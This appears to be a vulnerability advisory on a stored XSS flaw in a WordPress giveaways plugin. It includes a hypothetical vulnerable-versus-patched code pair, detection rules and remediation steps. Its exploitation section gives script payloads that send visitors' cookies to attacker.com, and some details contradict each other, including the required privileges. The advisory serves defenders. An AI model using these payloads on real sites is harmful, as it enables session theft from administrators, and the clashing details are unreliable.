CVE-2025-23934

Executive Summary

CVE-2025-23934 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Giveaways and Contests by PromoSimple" (versions <= 1.24). This flaw allows an authenticated attacker with contributor-level access or higher to inject malicious scripts into giveaway or contest pages. When other users (including administrators) view the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as Improper Neutralization of Input During Web Page Generation (CWE-79). No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin file (giveaways-contests-by-promosimple.php) by checking its SHA-256 hash against the official source. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites that continue using the plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but requires user interaction)
• User Interaction: Required (victim must visit the malicious page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction and is limited to stored XSS. However, in a WordPress context, an attacker could escalate privileges by targeting an admin.

Deep Dive & Mechanics

The vulnerability resides in the giveaways-contests-by-promosimple plugin, specifically in how it handles user-supplied input for giveaway or contest fields (e.g., title, description, or custom fields). The plugin fails to sanitize or escape this input before storing it in the database and later rendering it on the page. An attacker with contributor-level access can inject JavaScript payloads into these fields. When the page is loaded by any user, the payload executes in the context of the victim's session.

Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses() to user input. This allows arbitrary HTML/JavaScript to be stored and rendered.

Attack Flow:

1. Attacker logs in as a contributor or higher.
2. Creates a new giveaway/contest and injects a payload like <script>alert('XSS')</script> into a text field.
3. The payload is stored in the WordPress database.
4. When an admin or other user visits the giveaway page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical example from plugin):

// In giveaways-contests-by-promosimple.php
function render_giveaway_title($post_id) {
    $title = get_post_meta($post_id, 'giveaway_title', true);
    echo "<h2>$title</h2>"; // No sanitization
}

Patched Code (recommended fix):

function render_giveaway_title($post_id) {
    $title = get_post_meta($post_id, 'giveaway_title', true);
    echo "<h2>" . esc_html($title) . "</h2>"; // Sanitized
}

The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with "Giveaways and Contests by PromoSimple" <= 1.24 installed.
• Attacker account with contributor-level access.

Step-by-Step Exploit:

1. Log in to WordPress as a contributor.
2. Navigate to "Giveaways" > "Add New".
3. In the "Title" field, enter: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
4. Publish the giveaway.
5. Send the link to an admin user.
6. When the admin views the page, their cookies are exfiltrated.

Example Payload:

<script>
var img = new Image();
img.src = 'https://attacker.com/log?data=' + document.cookie;
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress logs for suspicious giveaway/contest creation with unusual characters.
• Use a Web Application Firewall (WAF) to block common XSS patterns.

Hardening:

• Disable the plugin immediately if not essential.
• Apply input validation and output escaping (as shown in patched code).
• Restrict contributor roles from creating giveaways if not needed.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/giveaways-contests-by-promosimple/giveaways-contests-by-promosimple.php (version <= 1.24)
• Database Entries: Posts with meta keys like giveaway_title containing <script> tags.
• Network Traffic: Outbound requests to attacker-controlled domains from the WordPress server.
• Logs: Unusual POST requests to /wp-admin/admin-ajax.php with XSS payloads.

Detection Engineering

YARA Rule

rule detect_promosimple_xss {
    meta:
        description = "Detects CVE-2025-23934 payloads in WordPress posts"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/si
        $plugin_file = "giveaways-contests-by-promosimple.php"
    condition:
        $plugin_file and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in PromoSimple Giveaways Plugin
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via giveaway fields
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-ajax.php'
        http.body: '*giveaway_title*'
        http.body: '*<script*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in giveaway descriptions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-23934 Stored XSS in PromoSimple Giveaways"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"giveaway_title"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/si"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Scan WordPress database for existing XSS payloads using the YARA rule above.
3. Remove any malicious posts and reset affected user sessions.

Long-Term Fix:

• Apply output escaping (esc_html(), wp_kses()) to all user-supplied fields in the plugin.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Upgrade to a patched version once available.

Workarounds:

• Use a WAF rule to block <script> tags in POST requests to giveaway endpoints.
• Restrict contributor roles from creating giveaways via custom capabilities.

Valters IT